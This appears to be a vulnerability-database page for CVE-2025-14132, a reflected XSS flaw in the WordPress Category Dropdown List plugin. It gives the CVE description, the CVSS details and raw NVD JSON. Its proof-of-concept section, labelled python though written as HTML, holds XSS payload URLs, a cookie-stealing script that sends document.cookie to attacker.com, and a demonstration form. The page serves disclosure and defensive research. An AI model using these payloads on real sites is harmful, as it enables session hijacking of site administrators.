Security Vulnerability Report
中文
CVE-2025-14132 CVSS 6.1 MEDIUM

CVE-2025-14132

Published: 2025-12-12 04:15:48
Last Modified: 2026-04-15 00:35:42

Description

The Category Dropdown List plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Category Dropdown List plugin for WordPress <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-14132 PoC - Reflected XSS in Category Dropdown List WordPress Plugin --> <!-- Attack URL ( victim's WordPress admin panel ) --> <!-- Modify the domain and path accordingly --> <!-- PoC Explanation: 1. The vulnerable parameter is $_SERVER['PHP_SELF'] in settings.php 2. Attackers can inject arbitrary JavaScript through crafted URLs 3. Social engineering required to trick admin into clicking the link --> <!-- Example malicious URL --> <!-- http://target-wordpress-site.com/wp-admin/options-general.php?page=dropdown-category-list/settings.php/"><script>alert('XSS')</script> --> <!-- More dangerous payload - Cookie stealing --> <!-- http://target-wordpress-site.com/wp-admin/options-general.php?page=dropdown-category-list/settings.php/"><script>document.location='https://attacker.com/steal?c='+document.cookie</script> --> <!-- HTML form for demonstration --> <form action="http://target-wordpress-site.com/wp-admin/options-general.php" method="GET"> <input type="hidden" name="page" value="dropdown-category-list/settings.php/"><script>alert(String.fromCharCode(88,83,83))</script>"> <input type="submit" value="Click me (Social Engineering Required)"> </form>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14132", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:47.720", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Category Dropdown List plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/dropdown-category-list/tags/1.0/settings.php#L11", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dropdown-category-list/trunk/settings.php#L11", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/baac847b-3c5e-44c4-bccf-fcbde1adf37f?source=cve", "source": "[email protected]"}]}}